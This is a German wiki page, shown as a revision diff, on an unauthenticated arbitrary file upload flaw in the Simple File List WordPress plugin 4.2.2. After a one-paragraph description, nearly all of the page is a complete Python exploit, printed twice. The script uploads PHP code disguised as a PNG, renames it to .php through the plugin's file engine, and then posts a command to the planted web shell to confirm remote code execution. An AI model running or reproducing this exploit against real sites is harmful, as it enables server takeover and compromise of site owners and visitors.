Unauthenticated Arbitrary File Upload: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
| Zeile 2: | Zeile 2: | ||
==Schachstelle== | ==Schachstelle== | ||
Die Schwachstelle besteht aufgrund einer unzureichenden Validierung von Dateien während des Datei-Uploads. Ein entfernter Angreifer kann eine Datei hochladen, die PHP-Code enthält, aber eine png-Bilddateierweiterung hat, dann eine zweite Anfrage senden, um die png-Datei in eine PHP-Datei zu verschieben. | Die Schwachstelle besteht aufgrund einer unzureichenden Validierung von Dateien während des Datei-Uploads. Ein entfernter Angreifer kann eine Datei hochladen, die PHP-Code enthält, aber eine png-Bilddateierweiterung hat, dann eine zweite Anfrage senden, um die png-Datei in eine PHP-Datei zu verschieben. | ||
| + | |||
| + | <syntaxhighlight lang="python"> | ||
| + | import requests | ||
| + | |||
| + | import random | ||
| + | |||
| + | import hashlib | ||
| + | |||
| + | import sys | ||
| + | |||
| + | import os | ||
| + | |||
| + | import urllib3 | ||
| + | |||
| + | urllib3.disable_warnings() | ||
| + | |||
| + | |||
| + | |||
| + | dir_path = '/wp-content/uploads/simple-file-list/' | ||
| + | |||
| + | upload_path = '/wp-content/plugins/simple-file-list/ee-upload-engine.php' | ||
| + | |||
| + | move_path = '/wp-content/plugins/simple-file-list/ee-file-engine.php' | ||
| + | |||
| + | |||
| + | |||
| + | |||
| + | |||
| + | def usage(): | ||
| + | |||
| + | banner = """ | ||
| + | |||
| + | NAME: Wordpress v5.4 Simple File List v4.2.2, pre-auth RCE | ||
| + | |||
| + | SYNOPSIS: python wp_simple_file_list_4.2.2.py <URL> | ||
| + | |||
| + | AUTHOR: coiffeur | ||
| + | |||
| + | """ | ||
| + | |||
| + | print(banner) | ||
| + | |||
| + | |||
| + | |||
| + | |||
| + | |||
| + | def generate(): | ||
| + | filename = f'{random.randint(0, 10000)}.png' | ||
| + | |||
| + | password = hashlib.md5(bytearray(random.getrandbits(8) | ||
| + | |||
| + | for _ in range(20))).hexdigest() | ||
| + | |||
| + | with open(f'{filename}', 'wb') as f: | ||
| + | |||
| + | payload = open("payload.txt","r").read() | ||
| + | |||
| + | f.write(payload.encode()) | ||
| + | |||
| + | print(f'[ ] File {filename} generated with password: {password}') | ||
| + | |||
| + | return filename, password | ||
| + | |||
| + | |||
| + | |||
| + | |||
| + | |||
| + | def upload(url, filename): | ||
| + | |||
| + | files = {'file': (filename, open(filename, 'rb'), 'image/png')} | ||
| + | |||
| + | datas = {'eeSFL_ID': 1, 'eeSFL_FileUploadDir': dir_path, | ||
| + | |||
| + | 'eeSFL_Timestamp': 1587258885, 'eeSFL_Token': 'ba288252629a5399759b6fde1e205bc2'} | ||
| + | |||
| + | r = requests.post(url=f'{url}{upload_path}', | ||
| + | |||
| + | data=datas, files=files, verify=False) | ||
| + | |||
| + | r = requests.get(url=f'{url}{dir_path}{filename}', verify=False) | ||
| + | |||
| + | if r.status_code == 200: | ||
| + | |||
| + | print(f'[ ] File uploaded at {url}{dir_path}{filename}') | ||
| + | |||
| + | os.remove(filename) | ||
| + | |||
| + | else: | ||
| + | |||
| + | print(f'[*] Failed to upload {filename}') | ||
| + | |||
| + | exit(-1) | ||
| + | |||
| + | return filename | ||
| + | |||
| + | |||
| + | |||
| + | |||
| + | |||
| + | def move(url, filename): | ||
| + | |||
| + | new_filename = f'{filename.split(".")[0]}.php' | ||
| + | |||
| + | headers = {'Referer': f'{url}/wp-admin/admin.php?page=ee-simple-file-list&tab=file_list&eeListID=1', | ||
| + | |||
| + | 'X-Requested-With': 'XMLHttpRequest'} | ||
| + | |||
| + | datas = {'eeSFL_ID': 1, 'eeFileOld': filename, | ||
| + | |||
| + | 'eeListFolder': '/', 'eeFileAction': f'Rename|{new_filename}'} | ||
| + | |||
| + | r = requests.post(url=f'{url}{move_path}', | ||
| + | |||
| + | data=datas, headers=headers, verify=False) | ||
| + | |||
| + | if r.status_code == 200: | ||
| + | |||
| + | print(f'[ ] File moved to {url}{dir_path}{new_filename}') | ||
| + | |||
| + | else: | ||
| + | |||
| + | print(f'[*] Failed to move {filename}') | ||
| + | |||
| + | exit(-1) | ||
| + | |||
| + | return new_filename | ||
| + | |||
| + | |||
| + | |||
| + | |||
| + | |||
| + | def main(url): | ||
| + | |||
| + | file_to_upload, password = generate() | ||
| + | |||
| + | uploaded_file = upload(url, file_to_upload) | ||
| + | |||
| + | moved_file = move(url, uploaded_file) | ||
| + | |||
| + | if moved_file: | ||
| + | |||
| + | print(f'[+] Exploit seem to work.\n[*] Confirmning ...') | ||
| + | |||
| + | |||
| + | |||
| + | datas = {'password': password, 'cmd': 'phpinfo();'} | ||
| + | |||
| + | r = requests.post(url=f'{url}{dir_path}{moved_file}', | ||
| + | |||
| + | data=datas, verify=False) | ||
| + | |||
| + | if r.status_code == 200 and r.text.find('php') != -1: | ||
| + | |||
| + | print('[+] Exploit work !') | ||
| + | |||
| + | print(f'\tURL: {url}{dir_path}{moved_file}') | ||
| + | |||
| + | print(f'\tPassword: {password}') | ||
| + | |||
| + | |||
| + | |||
| + | |||
| + | |||
| + | if __name__ == "__main__": | ||
| + | |||
| + | if (len(sys.argv) < 2): | ||
| + | |||
| + | usage() | ||
| + | |||
| + | exit(-1) | ||
| + | |||
| + | |||
| + | |||
| + | main(sys.argv[1]) | ||
| + | </syntaxhighlight> | ||
Version vom 11. April 2022, 13:10 Uhr
Arbitrary file upload in Simple File List plugin for WordPress
Schachstelle
Die Schwachstelle besteht aufgrund einer unzureichenden Validierung von Dateien während des Datei-Uploads. Ein entfernter Angreifer kann eine Datei hochladen, die PHP-Code enthält, aber eine png-Bilddateierweiterung hat, dann eine zweite Anfrage senden, um die png-Datei in eine PHP-Datei zu verschieben.
import requests
import random
import hashlib
import sys
import os
import urllib3
urllib3.disable_warnings()
dir_path = '/wp-content/uploads/simple-file-list/'
upload_path = '/wp-content/plugins/simple-file-list/ee-upload-engine.php'
move_path = '/wp-content/plugins/simple-file-list/ee-file-engine.php'
def usage():
banner = """
NAME: Wordpress v5.4 Simple File List v4.2.2, pre-auth RCE
SYNOPSIS: python wp_simple_file_list_4.2.2.py <URL>
AUTHOR: coiffeur
"""
print(banner)
def generate():
filename = f'{random.randint(0, 10000)}.png'
password = hashlib.md5(bytearray(random.getrandbits(8)
for _ in range(20))).hexdigest()
with open(f'{filename}', 'wb') as f:
payload = open("payload.txt","r").read()
f.write(payload.encode())
print(f'[ ] File {filename} generated with password: {password}')
return filename, password
def upload(url, filename):
files = {'file': (filename, open(filename, 'rb'), 'image/png')}
datas = {'eeSFL_ID': 1, 'eeSFL_FileUploadDir': dir_path,
'eeSFL_Timestamp': 1587258885, 'eeSFL_Token': 'ba288252629a5399759b6fde1e205bc2'}
r = requests.post(url=f'{url}{upload_path}',
data=datas, files=files, verify=False)
r = requests.get(url=f'{url}{dir_path}{filename}', verify=False)
if r.status_code == 200:
print(f'[ ] File uploaded at {url}{dir_path}{filename}')
os.remove(filename)
else:
print(f'[*] Failed to upload {filename}')
exit(-1)
return filename
def move(url, filename):
new_filename = f'{filename.split(".")[0]}.php'
headers = {'Referer': f'{url}/wp-admin/admin.php?page=ee-simple-file-list&tab=file_list&eeListID=1',
'X-Requested-With': 'XMLHttpRequest'}
datas = {'eeSFL_ID': 1, 'eeFileOld': filename,
'eeListFolder': '/', 'eeFileAction': f'Rename|{new_filename}'}
r = requests.post(url=f'{url}{move_path}',
data=datas, headers=headers, verify=False)
if r.status_code == 200:
print(f'[ ] File moved to {url}{dir_path}{new_filename}')
else:
print(f'[*] Failed to move {filename}')
exit(-1)
return new_filename
def main(url):
file_to_upload, password = generate()
uploaded_file = upload(url, file_to_upload)
moved_file = move(url, uploaded_file)
if moved_file:
print(f'[+] Exploit seem to work.\n[*] Confirmning ...')
datas = {'password': password, 'cmd': 'phpinfo();'}
r = requests.post(url=f'{url}{dir_path}{moved_file}',
data=datas, verify=False)
if r.status_code == 200 and r.text.find('php') != -1:
print('[+] Exploit work !')
print(f'\tURL: {url}{dir_path}{moved_file}')
print(f'\tPassword: {password}')
if __name__ == "__main__":
if (len(sys.argv) < 2):
usage()
exit(-1)
main(sys.argv[1])